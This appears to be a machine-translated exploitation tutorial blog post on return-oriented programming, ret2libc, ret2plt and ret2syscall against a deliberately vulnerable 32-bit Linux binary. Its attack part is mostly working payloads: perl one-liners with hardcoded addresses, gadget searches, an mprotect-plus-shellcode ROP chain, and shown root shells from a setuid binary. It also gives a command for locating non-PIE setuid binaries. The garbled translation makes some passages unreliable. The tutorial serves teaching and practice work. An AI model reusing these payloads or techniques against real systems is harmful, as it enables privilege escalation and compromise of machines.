ROP: In exploiting and love anything goes

Today’s post is almost a continuation of a previous post. Because today we will bring the widespread ret2libc.

Before starting, give a brief explanation of what is ASLR (Address Space Layout Randomization). It is a simple protection method that randomizes the address space of the processes. If the executable is not PIE (position independent executable, that is, it is ready to run while loaded in any direction) cannot be affected by the ASLR, so the sections .text (code), .data, .bss, .got, .plt, etc (that is, all the information found in the binary and does not belong to the stack heap) will always be loaded in the same direction, which we can take advantage of. The libraries in Linux are always PIE, so they always have ASLR, if it is activated in the system/process. Using a command like cd /usr/bin ; file * | grep -i elf | grep -v -i pie | grep -i setuid can be obtained binaries with SUID bit activated that are not PIE.

Let us begin with a simple chain of functions. The other day we saw how placing the stack data simulating a call can execute a function and chain it with an exit() function. At the end we do not care that too much about the argument were received. However, as we have seen, it is usually necessary to run a setuid(0) or some other function, according to needs and objectives. Let’s say you want to call any two functions, the first 3 arguments, and 1 second argument. Let’s get the scheme we saw in previous episodes to visualize how we would supposedly.

|buf |EBP(s)|EIP(s) | EIP(s) para aaaaaa | arg de aaaaaa() | arg de aaaaaa() | arg de aaaaaa() | +—–+—– —+——+———–+——————–+——————-+——————-+——————-+ | … | Relleno | &aaaaaa() | &bbbbb() | … | … | … | +—–+—– —+——+———–+——————–+——————-+——————-+——————-+ └ESP └EBP └ aaaaaa() will | arg de bbbbb() pick up with your ret this

The problem is basically that we have nowhere to put the argument to bbbbb(). In fact, for it (the function) your EIP(s) is the first argument aaaaaa() (not a problem we had with exit() because it is -funciones- those who leave and never return) .

The solution is through ROP (Return Oriented Programming), a technique that involves looking (in binary et al) instruction followed by a “ret” so that they can be chained each other. These pieces of code are called gadgets. The main gadgets are the kind pop;ret, allowing collecting the arguments used by the previous function, leaving the stack clean for the next function to collect the appropriate arguments. To collect arguments aaaaaa() we need a pop;pop;pop;retpop by argument. Sometimes you can find a gadget add esp, 0x?? ; ret, do not diminish, no longer as useful as one of pop’s, and it would be rare indeed save your life a few times (not modify register values, unlike pop’s), the use of gadgets add esp called esp lifting. We would apply the gadget like this

|EIP(s) | EIP(s) para aaaaaa | arg de aaaaaa() | arg de aaaaaa() | arg de aaaaaa() | | | arg de bbbbb() +———–+——————–+——————-+——————-+——————-+———-+—–+—————+ | &aaaaaa() | &pop;pop;pop;ret | … | … | … | &bbbbb() | … | … | +———–+——————–+——————-+——————-+——————-+———-+—–+—————+ └ aaaaaa() will pick up with your ret this

After the execution of aaaaaa() it will be collected with ret address the gadget, which run 3 Pop’s, so picking the three arguments aaaaaa(), ending with a ret will pick up in EIP address bbbbb() that takes as argument located 4 bytes beyond being the bytes preceding the argument that collect the ret, placing there pop;ret would string together another function.

Functions that can be an interesting call are strcpy()/strncpy() or sprintf()/snprintf() or memcpy() (or even gets() if the attacker controls the stdin, is very comfortable since it only requires an argument, but if we hurry it can also to employ a read()) in a stack case with ASLR, to build chains in sections which are in the case- without ASLR (as .data) from bytes in the binary or in bookstores (if these are not affected by ASLR, as a binary non-PIE, in the case of bookstores, it is rather in Windows where you can find DLLs without ASLR-). Say you want to build the string “/bin/sh” in .data, but not found in the binary or their bookstores (or bookstores have ASLR), and yet we find in 0x0804aaaa the character “/” in 0x0804bbbb chain “bin” and 0x0804cccc the string “sh”; With this we can arrange something like this:

strncpy(.data, 0x0804aaaa, 1); strncpy(.data+1, 0x0804bbbb, 3); strncpy(.data+4, 0x0804aaaa, 1); strncpy(.data+5, 0x0804cccc, 2);

Obtaining in .data a string “/bin sh” [the same can also be done if gadgets type are mov [reg], reg [see for example the operation of ROPgadget]. Stdin would only take a controlling gets (.data).

Another comment on ROPgadget. Often this tool even finds gadgets that can thoroughly reviewing the code’d find, this is because it performs a search based on opcodes. An instruction has an associated opcode, and although a binary not have an instruction as such, it is possible (and quite likely) that they happen to have its –there opcodes to keep in mind that we alone are in executable– regions.
Given that call eax translates into ffd0
(gdb) disas main Dump of assembler code for function main: 0x000004e9 <+0>: call 0x4fe <__x86.get_pc_thunk.ax> 0x000004ee <+5>: add $0x1b12,%eax 0x000004f3 <+10>: mov $0xaad0ffbb,%eax 0x000004f8 <+15>: mov $0x0,%eax 0x000004fd <+20>: ret End of assembler dump. (gdb) x/i 0x000004f3 0x4f3 <main+10>: mov $0xaad0ffbb,%eax (gdb) x/i 0x000004f5 0x4f5 <main+12>: call *%eax

It is appreciated that depending on where you interpret that is the beginning of an instruction is either other.

Then processor when you run an instruction in one direction does not know if “originally” that direction was in the middle of another instruction, because a binary is merely a sequence of opcodes that only makes sense if you start reading from the beginning. The processor does not distinguish, he would come running opcodes and does not need more.

Tools as Ropper or ROPgadget automate the search.

Let’s continue where we were

$ objdump -d vuln

vuln: file format elf32-i386
[…]
804858d: 83 c4 0c add esp,0xc
8048590: 5b pop ebx
8048591: 5e pop esi
8048592: 5f pop edi
8048593: 5d pop ebp
8048594: c3 ret

Nice eh gadget, look, what is fat and sleek.

$ objdump -x vuln

vuln: file format elf32-i386
[…]
Sections:
Idx Name Size VMA LMA File off Algn
[…]
23 .data 00000008 0804a018 0804a018 00001018 2**2
CONTENTS, ALLOC, LOAD, DATA

We have address where writing: 0x0804a018.
(gdb) p system $1 = {<text variable, no debug info>} 0xf7e01f80 <system> (gdb) p exit $2 = {<text variable, no debug info>} 0xf7df4f10 <exit> [...] $ objdump -d -j .plt vuln | grep strcpy 08048370 <strcpy@plt>:
In libc.so.6 we can indeed find a string /bin/sh, but do not want to do that easy, right?

Let’s just stick to our binary.

We can use ROPgadget with --string option to find chains
$ python2.7 ROPgadget/ROPgadget.py --binary vuln --string / Strings information ============================================================ 0x08048154 : / 0x08048158 : /

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string b
Strings information
============================================================
0x08048157 : b
0x0804824f : b
0x08048276 : b
0x080482a6 : b
0x080482cf : b

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string i
Strings information
============================================================
0x08048156 : i
0x0804815d : i
0x0804824e : i
0x0804825e : i
0x08048275 : i
0x08048281 : i
0x08048298 : i
0x080482c1 : i
0x080482f5 : i
0x080482f6 : i

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string n
Strings information
============================================================
0x0804815e : n
0x0804825f : n
0x08048282 : n
0x080482a2 : n
0x080482af : n
0x080482cb : n

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string bi
Strings information
============================================================

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string in
Strings information
============================================================
0x0804815d : in
0x0804825e : in
0x08048281 : in

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string /b
Strings information
============================================================

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string /s
Strings information
============================================================

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string s
Strings information
============================================================
0x08048162 : s
0x08048252 : s
0x0804825b : s
0x08048262 : s
0x08048266 : s
0x08048270 : s
0x08048279 : s
0x08048299 : s
0x080482b1 : s
0x080482c2 : s

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string sh
Strings information
============================================================

$ python2.7 ROPgadget/ROPgadget.py –binary vuln –string h
Strings information
============================================================
0x0804866c : h
Ok, well, then we will use the addresses in this order: 0x08048154 ( “/”) 0x08048157 ( “b”), 0x0804815d (“in”), 0x08048154 (“/”), 0x08048162 (“s”), 0x0804866c (“h”).
Anyway, ROPgadget only shows you terminated ” results (because we are asking exactly a string). Failure to find the necessary byte can always use xxd and easily find it (that way you get the offset of the byte in the file, then you will have to add the offset direction in which the program is loaded), but having all results ending in ” allows you to use strcpy() should not have strncpy() or memcpy() [although you can always let strcpy() will copy what you want, that and stop when it finds a null byte, while the next call to strcpy() is just after the byte or bytes that interested serves perfectly, can terminate the chain with a strcpy() from a position where a null byte].
Well, to explode it has been said
``$ ./vuln `perl -e ‘print

“A”x140 . # relleno
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x18xa0x04x08” . # .data
“x54x81x04x08” . # “/”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x19xa0x04x08” . # .data+1
“x57x81x04x08” . # “b”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x1axa0x04x08” . # .data+2
“x5dx81x04x08” . # “in”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x1cxa0x04x08” . # .data+4
“x54x81x04x08” . # “/”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x1dxa0x04x08” . # .data+5
“x62x81x04x08” . # “s”
“x70x83x04x08” . # strcpy
“x92x85x04x08” . # pop;pop;ret
“x1exa0x04x08” . # .data+6
“x6cx86x04x08” . # “h”
“x80x1fxe0xf7” . # system
“x10x4fxdfxf7” . # exit
“x18xa0x04x08”’ . # .data AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp��� �T�p��� �W�p��� �]�p��� �T�p��� �b�p��� �l�� �� O�� � sh-4.4$`

* Pum * Satisfied when an exploit works the first first…
Note that, while the executable is not PIE, and in case of obtaining the addresses of system() and exit() otherwise, as plt, whether the libraries have enabled ASLR; ASLR not affect us in the stack.

However, life is beautiful and it is not always possible to do things this way: if I put the challenge yesterday, at the end of the post, it was … difficult thing to run the setuid(0) since being exploiting a strcpy() we cannot use null bytes [1](Solution to the challenge below). Another possible problem is for libraries (or in case of binary PIE) are loaded into memory locations beginning with 0x00 (ASCII Armored Protection Address Space, AAAS). In the event that the binary is not affected by ASLR (being not-foot) or AAAS and libraries itself ret2plt is an option: jump to the input of said function in binary .plt section. .Plt section (Procedure Linkage Table) is a kind of index to dynamically linked program so that the program loaded in memory, the linker (ld on Linux) placed at each entrance plt the corresponding direction to said function (only in the case of library functions).
Example

$ cat a.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void asd()
{
system(NULL);
exit(0);
}

void imprimir(char* arg)
{
char buf[128];
strcpy(buf, arg);
printf(“%sn”, buf);
}

int main(int argc, char** argv)
{
if(argc < 2) return 1;
imprimir(argv[1]);
return 0;
}

$ gcc a.c -o a -m32 -no-pie -fno-pie -fno-stack-protector -D_FORTIFY_SOURCE=0

$ objdump -d a -j .plt

a: formato del fichero elf32-i386

Disassembling the .plt section:

080483a0 <.plt>:
80483a0: ff 35 04 a0 04 08 push DWORD PTR ds:0x804a004
80483a6: ff 25 08 a0 04 08 jmp DWORD PTR ds:0x804a008
80483ac: 00 00 add BYTE PTR [eax],al

080483b0 strcpy@plt:
80483b0: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c
80483b6: 68 00 00 00 00 push 0x0
80483bb: e9 e0 ff ff ff jmp 80483a0 <.plt>

080483c0 puts@plt:
80483c0: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010
80483c6: 68 08 00 00 00 push 0x8
80483cb: e9 d0 ff ff ff jmp 80483a0 <.plt>

080483d0 system@plt:
80483d0: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014
80483d6: 68 10 00 00 00 push 0x10
80483db: e9 c0 ff ff ff jmp 80483a0 <.plt>

080483e0 exit@plt:
80483e0: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018
80483e6: 68 18 00 00 00 push 0x18
80483eb: e9 b0 ff ff ff jmp 80483a0 <.plt>

080483f0 <__libc_start_main@plt>:
80483f0: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c
80483f6: 68 20 00 00 00 push 0x20
80483fb: e9 a0 ff ff ff jmp 80483a0 <.plt>

We found that the dir of system() in the plt is 0x080483d0. Let´s to exploit (Marx meh).
$ ./a `perl -e 'print "A"x140 . "xd0x83x04x08" . "xe0x83x04x08" . "x6cxddxffxff"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAЃ��l��� sh-4.4$

Like practically employ a ret2libc, only here we do not leave home. And we enter more deeply into the workings of the PLT and lazy binding, as well as other deeper utilities for exploiting (overwriting entries in the GOT (Global Offset Table) and ret2dl-resolve).

Ultimately, if we find no useful role in plt we can use two techniques, which do you prefer to speak first?…Well we start with this.

Ret2syscall: If you have gadgets that allow placing the necessary values ​​in the records, you can always make a syscall directly without calling any functions (ROPgadget can make a ropchain that uses this technique to execute execve()).

The other technique is known as ret2dl-resolve. We will dedicate an article to him.

As a very last option can be used an additional technique: by entering the plt of any function, belonging to the same library that interests us, we can get the address. We calculate the difference between the addresses within the library between function found in the plt and an interesting function. This difference must add then on runtime to the address obtained in the PLT. The problem is that it is not always easy to add an arbitrary amount by a ROP. This is especially possible elevation of privilege, because we have access to the library and do not need to speculate what version and another annoying thing. As an interesting point: we can take advantage of a property of library functions (well, and not only the library), and that in many cases are preceded by instructions as harmless xchg eax, eax or nop (which in the end behaves in x86 as an xchg eax, eax). These instructions are NOPs us as mattress. A mattress NOPs is a set of instructions NOP (as nop or xchg eax, eax) located before a Shellcode to increase the chance of falling into one direction leading to the execution of shellcode, this is a method that see when we discuss ASLR because it only makes sense on systems with ASLR enabled, because without ASLR, unless it is a remote exploit, you know the stack address. Going back, these instructions that precede the library functions provided to us that if we do not get a sum with sufficient precision, increase the margin. It is, to put it in some way, increase the number of addresses served. It also serves as a solution in case the direction of the library ends in 0x00 and we cannot enter it for whatever reason [1].

(gdb) p strcpy
$1 = {<text gnu-indirect-function variable, no debug info>} 0xf7e430d0 <strcpy_ifunc>
(gdb) x/5i $1-9
   0xf7e430c7:  xchg   %ax,%ax
   0xf7e430c9:  xchg   %ax,%ax
   0xf7e430cb:  xchg   %ax,%ax
   0xf7e430cd:  xchg   %ax,%ax
   0xf7e430cf:  nop

Moreover, also mention falsify frames (frames faking) as a method to string functions, and promise prompt delivery about it in an article talking about attacks to the base pointer(EBP), including (at least for me) funny off-by-one.

Let’s continue where we were going. We have already mentioned the importance of instructions such as call eax and jmp esp, but we have not talked about how they are so important. A typical operating option is ROP + shellcode. The ROP would be used for executing permission where necessary –ejemprotect (), mmap– (it may be necessary to copy the shellcode to another memory location, especially if the most common stack/heap -sitios for our payload- has ASLR as .data) and shellcode … it would make things shellcode. Let’s practice it. We need something like run a mprotect(0x.....000, 0x01010101, 0x00000007), first the first argument is the address from which change permissions, must end in a null byte -and the penultimate byte must have the second nibble to 0, but that is not affected (to maintain alignment with the page size, which is usually 4,096, just in case, you can check with syscall ()); the second parameter indicates how many bytes from the address should change permissions, that number (0x01010101) is the least without containing null bytes; and finally PROT_EXEC|PROT_READ|PROT_READ (and not, in implementing my gcc employs mprotect is not allowed in this argument appear bits with value 1 if you do not have a meaning defined by the standard, although I see that in the implementation of mprotect for Mach Yes it should work, unless the __vm_protect() function loads it inside). We must therefore put several null bytes [1], Which is a minor quibble. We can use a call to read() to write the ROP in the stack in the right place (not having ASLR this is easy). To make a read () in stdin the first argument must be STDIN_FILENO, which is worth 0, another problem. However, we have the possibility of a ret2syscall. We could make a mprotect with ret2syscall, but it’s easier with a read(), which at the time we control EIP the EBX register is set to 0x0, as well __NR_read worth 3, while __NR_mprotect 125, so our winner is a ret2syscall to read() to read a ROP ret2libc to mprotect() ending with shellcode. Let’s see what we need to read()
EAX -> 3
EBX -> 0x0
ECX -> 0xffff…. -> Tell me time, we’ll see where we are
EDX -> how to read bytes -> We do not care

Let’s see what we introduce to mprotect(). Knowing that our buffer falls near 0xffffd210, the page corresponding memory starts at 0xffffd000 (0xffffd210 & ~(0x00001000-1) [0x1000 = 409610])

0xf7eb9240 0x…….. 0xffffd000 0x00010000 0x00000007 0x…….. 0xffffd210 0x…….. &mprotect &pop;pop;pop;ret pop eax;ret &shellcode &call eax or equals.

Eax ended up placing in the direction of shellcode (&buf) to end once a call eax. Given that the second phase of the payload (mprotect() + jump to shellcode) is 32 bytes, compared to the call to read(), it is enough that edx  >= 32, as much hunger that has read() and want to eat 4160342096 bytes (looks like a random number), we will only spend 32 bytes, and only going to read the bytes that you spend. It turns out that at the point where you took the helm of the program EDX worth 0xf7f9c850 (now the number is better understood before), for being a little greater than 32 (a little), So, let’s start looking the gadgets we need. Remember being careful not to change ourselves the EBX, for something that they made us …

Do we need a xor eax, eax? ROPgadget gives us (by the way, the ldd command is indispensable to know the libraries that a program uses, and therefore what bookstores can find gadgets, and also to know which direction you will be charged for that process).
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib/ld-linux.so.2 --offset 0xf7fd6000 --badbytes 00 | grep "xor eax, eax" [...] 0xf7fdbbd0 : xor eax, eax ; ret

What need a inc eax?
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib/ld-linux.so.2 --offset 0xf7fd6000 --badbytes 00 | grep "inc eax" [...] 0xf7fd6cb3 : add al, 0x83 ; inc eax ; add al, 1 ; ret
I bring as plus the add al, 1, which has fallen me well.

You want pop ecx? Beware that if I will not find it on one side, another in another.
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --offset 0xf7dc4000 --badbytes 00 | grep "pop ecx" [...] 0xf7e01e03 : pop ecx ; ret

—I bet an int 0x80 ; ret you don’t do it.
—Not?
[…]
—Come on
$ python2 ROPgadget/ROPgadget.py --binary /lib/ld-linux.so.2 --badbytes 00 --offset 0xf7fd6000 --opcode "cd80c3" [...] 0xf7fd6c30 : cd80c3

We have everything for the read(). Now for the ingredients for the second half.

—¡A &mprotect FOR TABLE 2!
—Ear kitchen.
$1 = {<text variable, no debug info>} 0xf7eb9240 <mprotect>

—A see the shopping list…  pop;pop;pop;ret.
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --offset 0xf7dc4000 --badbytes 00 --only "pop|pop|pop|ret" [...] 0xf7e05fdb : pop ebx ; pop esi ; pop ebp ; ret
[Now we no longer care ebx modify the syscall read() is already done.]

—Hey yeah, get me a whiskey, little ice with a slice of lemon, and a direction of pop eax;ret

—Then I bring her whiskey.

$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --offset 0xf7dc4000 --badbytes 00 | grep "pop eax" [...] 0xf7de9be7 : pop eax ; ret

—’You call your aunt once EAX to congratulate the birthday?
—Ok … hand me the phone.
$ python2.7 ROPgadget/ROPgadget.py --binary /usr/lib32/libc.so.6 --offset 0xf7dc4000 --badbytes 00 | grep "call eax" [...] 0xf7dde182 : call eax

Yet we can make a skeleton payload for locations that we lack.

Parte 1 (argumento): 0xf7fdbbd0 xor eax, eax ; ret 0xf7fd6cb5 inc eax ; add al, 1 ; ret 0xf7fd6cb6 add al, 1
0xf7e01e03 pop ecx ; ret
0xffff???? –

Parte 2 (stdin) [placed in 0xffff????]:
0xf7eb9240 &mprotect
0xf7e05fdb &pop;pop;pop;ret
0xffffd000
0x00010000
0x00000007
0xf7de9be7 &pop eax;ret
0xffff¿¿¿¿ #
0xf7dde182 call eax

Now let’s calculate what direction read.
$ ltrace /home/arget/vuln "`cat sc.o``perl -e 'print "A"x(140-33) . "xd0xbbxfdxf7" . "xb5x6cxfdxf7" . "xb6x6cxfdxf7" . "x03x1exe0xf7" . "xaaxaaxffxff" . "x30x6cxfdxf7"'`" __libc_start_main(0x80484f5, 2, 0xffffd354, 0x8048540 <unfinished ...> strcpy(0xffffd200, "130026032513333152001300Ph//shh/bin211343PS211341260v1322315"...) = 0xffffd200 puts("130026032513333152001300Ph//shh/bin211343PS211341260v1322315"...1���1�̀1�Ph//shh/bin��PS��� 1�̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAл���l���l�� ������0l�� ) = 165

We see that strcpy writes in 0xffffd200, so that’s the buf dir. Given that from buf to EIP(s) are 140 bytes, and then write 6 directions (32 bits each, 4 bytes), make

140 + 24 = [espera que… gnome-calculator]164

0xffffd200+0xa4 = 0xffffd2a4

By the way, the fact that ltrace is not finished because it has been waiting for the read(). We can see that everything worked perfectly with strace:
$ strace /home/arget/vuln "`cat sc.o``perl -e 'print "A"x(140-33) . "xd0xbbxfdxf7" . "xb5x6cxfdxf7" . "xb6x6cxfdxf7" . "x03x1exe0xf7" . "xaaxaaxffxff" . "x30x6cxfdxf7"'`" execve("/home/arget/vuln", ["/home/arget/vuln", "130026032513333152001300Ph//shh/bin211343PS211341260v1322315"...], 0x7fffffffe228 /* 39 vars */) = 0 strace: [ Process PID=17487 runs in 32 bit mode. ] [...] read(0,
Perfect. Now we adjust directions

Parte 1 (argumento): 0xf7fdbbd0 xor eax, eax ; ret 0xf7fd6cb5 inc eax ; add al, 1 ; ret 0xf7fd6cb6 add al, 1 0xf7e01e03 pop ecx ; ret 0xffffd2a4
0xf7fd6c30 int 0x80 ; ret

Parte 2 (stdin) [placed in 0xffffd2a4]:
0xf7eb9240
0xf7e05fdb
0xffffd000
0x00010000
0x00000007
0xf7de9be7
0xffffd200
0xf7dde182 call eax

Well, we’re ready to explode
Primera parte: "`cat sc.o``perl -e 'print "A"x(140-33) . "xd0xbbxfdxf7" . "xb5x6cxfdxf7" . "xb6x6cxfdxf7" . "x03x1exe0xf7" . "xa4xd2xffxff" . "x30x6cxfdxf7"'`"

Part Two:
perl -e ‘print “x40x92xebxf7” . “xdbx5fxe0xf7” . “x00xd0xffxff” . “x00x00x01x00” . “x07x00x00x00” . “xe7x9bxdexf7” . “x00xd2xffxff” . “x82xe1xddxf7″‘

Exploitation:
$ perl -e 'print "x40x92xebxf7" . "xdbx5fxe0xf7" . "x00xd0xffxff" . "x00x00x01x00" . "x07x00x00x00" . "xe7x9bxdexf7" . "x00xd2xffxff" . "x82xe1xddxf7"' > a.txt

$ (cat a.txt ; cat) | /home/arget/vuln “`cat sc.o“perl -e ‘print “A”x(140-33) . “xd0xbbxfdxf7” . “xb5x6cxfdxf7” . “xb6x6cxfdxf7” . “x03x1exe0xf7” . “xa4xd2xffxff” . “x30x6cxfdxf7″‘`”
1���1�̀1�Ph//shh/bin��PS���
1�̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAл���l���l�� ������0l��
whoami
arget

### Oops ###

$ sudo chown root:root vuln

$ sudo chmod u+s vuln

$ (cat a.txt ; cat) | /home/arget/vuln “`cat sc.o“perl -e ‘print “A”x(140-33) . “xd0xbbxfdxf7” . “xb5x6cxfdxf7” . “xb6x6cxfdxf7” . “x03x1exe0xf7” . “xa4xd2xffxff” . “x30x6cxfdxf7″‘`”
1���1�̀1�Ph//shh/bin��PS���
1�̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAл���l���l�� ������0l��
whoami
root

What a beauty.
If the shell prompt does not appear is because it writes and read through the some cat. This might be a solution for the CTF previous post. While this is not exactly a pure ret2libc because we use a shellcode (this is a ROP + shellcode), so my solution below is also interesting.

Obtaining gadgets is not always complete with a single tool, it is often advisable to seek gadgets using various tools, being my favorite **ROPgadget**, Ropper, Radare, msfelfscan (msfpescan).Additionally, in Windows, you can serve OllyDbg.

I am aware that absolutely all the gadgets I’ve used belong to libraries, which is not recommended because it does little portable, and if it is activated ASLR not work while that the use of binary gadgets work even with ASLR, but only if the binary is not-foot. But this was just an example to demonstrate the ROP + shellcode technique, besides this binary is too small to find all the gadgets that may become necessary.

[1] Now that we’ve been fighting all this time with null bytes, I’ll tell you a secret: to put on the stack a null byte (either to be an argument of a function or to pick a pop, ret in a register in order to make a ret2syscall) functions can be used as str(n) -byte to byte-, memcpy (), sprintf () …

I have not mentioned so far to develop well other techniques. In the end it comes down to having resources.

Let’s see the solution of yesterday’s challenge:

0x0804843c 0x00 08048370 strcpy@plt:

$1 = {<text variable, no debug info>} 0xf7e84d60 $2 = {<text variable, no debug info>} 0xf7e01f80 $3 = {<text variable, no debug info>} 0xf7df4f10

0xf7f420a8 : /bin/sh

8048590: 5b pop ebx
8048591: 5e pop esi
8048592: 5f pop edi
8048593: 5d pop ebp
8048594: c3 ret

We built a scheme like this
/home/arget/vuln "`perl -e 'print "A"x140 . "x70x83x04x08" . "x92x85x04x08" . "xaaxaaxffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "xaaxaaxffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "xaaxaaxffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "xaaxaaxffxff" . "x3cx84x04x08" . "x60x4dxe8xf7" . "x93x85x04x08" . "xefxbexadxde" . "x80x1fxe0xf7" . "x10x4fxdfxf7" . "xa8x20xf4xf7"'`"

By ltrace we see the beginning of buffer, to which we add 140 + 18 * 4 and get the address where the 0xdeadbeef we have placed will be the argument of setuid(), so as to adjust the directions in writing strcpy().

Finally we exploit
$ /home/arget/vuln "`perl -e 'print "A"x140 . "x70x83x04x08" . "x92x85x04x08" . "x94xd2xffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "x95xd2xffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "x96xd2xffxff" . "x3cx84x04x08" . "x70x83x04x08" . "x92x85x04x08" . "x97xd2xffxff" . "x3cx84x04x08" . "x60x4dxe8xf7" . "x93x85x04x08" . "xefxbexadxde" . "x80x1fxe0xf7" . "x10x4fxdfxf7" . "xa8x20xf4xf7"'`" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp???????<?p???????<?p???????<?p???????<?`M????ᆳ? ?? O??? ? sh-4.4# whoami root sh-4.4#

Much of my goal today is to demonstrate how there are many possible solutions to any problem, and although not always all roads lead to Rome, several other will, and have to choose which one feels more comfortable. In addition, these techniques are not the only thing that can be used, and sometimes there is nothing to do with them, to avoid panic is necessary that the exploiter has resources and completely open mind, accompanied by a splendid creativity and well-trained . Hence the name of this post, what you know about exploiting you will not do any good without proper creativity, it is also important to complement the experience gained from others’ experiences, the end of the day the soul of hacking is to share knowledge, so it is important to read carefully engage outside challenges of everyday solutions. I remember a post of blackngel (his blog blackbycode.com has been deleted, so I can not bring reference, well, maybe be in archive.org :)) which to place on record eax a certain value, he used a call to read() (which returns the number of bytes read), thus introducing the right amount of bytes get read () return value in eax desired.

We read.

We have seen another possible solution before, but I wanted to solve it without using the strcpy() to place the null bytes in our string.

Poor little program, we have already exploited everywhere, we should change it…

Let’s start with my first phase during this challenge. Put limits that must be pure ret2libc (not shellcode), and, as I said, without using the strcpy().

The first idea I had was to use a 0x00000000 and located in the stack to be arguing setuid ( ), reaching it by several pointers ret instruction, ie (starting at EIP(s))

&ret &ret &ret &ret &ret &setuid ret de setuid 0x00000000

Subsequently, using a gadget sub esp, 0x?? to continue with the second part of the ROP on the part of the stack before the EIP(s).

After not find any sub esp, 0x?? useful and discarding a couple of theories look for another place where you can meet the payload: the program arguments or environment variables. The objective would instead employ a sub esp, 0x??, employ add esp, 0x????, something like a esp lifting. The problem is that it is a big leap I think almost 600 bytes-, and tand there was no way

After rejecting another great theory, I turn to ret2syscall. ROPgadget gives me a ropchain to execute an execve() – which we’ll see. But we need a setuid (0).

The setuid(0) syscall would EAX = 213 and EBX = 0x00000000. The value of eax at the time we took the reins of the executable depends on the amount of bytes that we introduce. zero is best done very beginning, we’ll see how to get to 213.

En finally we found a xor eax, eax;ret in 0xf7df321f.

Now to see how we got to 213. Scared?
I see that there is an add ecx, ecx ; ret, and or al, ch ; ret. The ecx we have with 0xffffffff value (-1 or 4294967295, depending on how you look) that is easily solved because an inc ecx that overflows 0x00000000. Well, if we assign a value to the beginning ECX and we will multiply by two and adding it in one when we reached the 213 required two kicks.

inc ecx -> ECX = 0x00000000
inc ecx -> ECX = 0x00000001
inc ecx -> ECX = 0x00000002
inc ecx -> ECX = 0x00000003

add ecx, ecx -> ECX = 0x6
add ecx, ecx -> ECX = 0xc
inc ecx -> ECX = 0xd
add ecx, ecx -> ECX = 0x1a
add ecx, ecx -> ECX = 0x34
inc ecx -> ECX = 0x35
add ecx, ecx -> ECX = 0x6a
add ecx, ecx -> ECX = 0xd4
inc ecx -> ECX = 0xd5

Well, now we can pass it to eax through the or al, ch… oh baia. It turns out that 213 (0xd5) is in cl, not ch … Well it has to pass through rotation. It turns out that in decimal move left units adding 0’s to the right is multiplied by powers of 10, as in the binary system is multiplied by powers of 2, then multiplying by powers of 2 is rotating the bits to the left by adding 0s to the right. We have to rotate 8 bits (we move from lower to upper 8 bits 8 bits of cx), so we multiply by 28.

add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx
add ecx, ecx

Now we 0x00000000 eax (I have not done before but does not affect …)
xor eax, eax
Now the famous
or al, ch
Fortunately in the ebx we have a 0x0, so we just need to find a int 0x80;ret (if only one syscall lets invoke an int 0x80 enough, however, after stringing more sycall we ROP). When ROPgadget in /usr/lib32/libc.so.6 not find one I almost choked. then we look in ld-linux.so.2, which are in fact two results.
int 0x80
Something like that
0x080486ee x4

0x080484aa x2
0x080486ee
0x080484aa x2
0x080486ee
0x080484aa x2
0x080486ee

0x080484aa x8

0xf7df321f

0x08048337

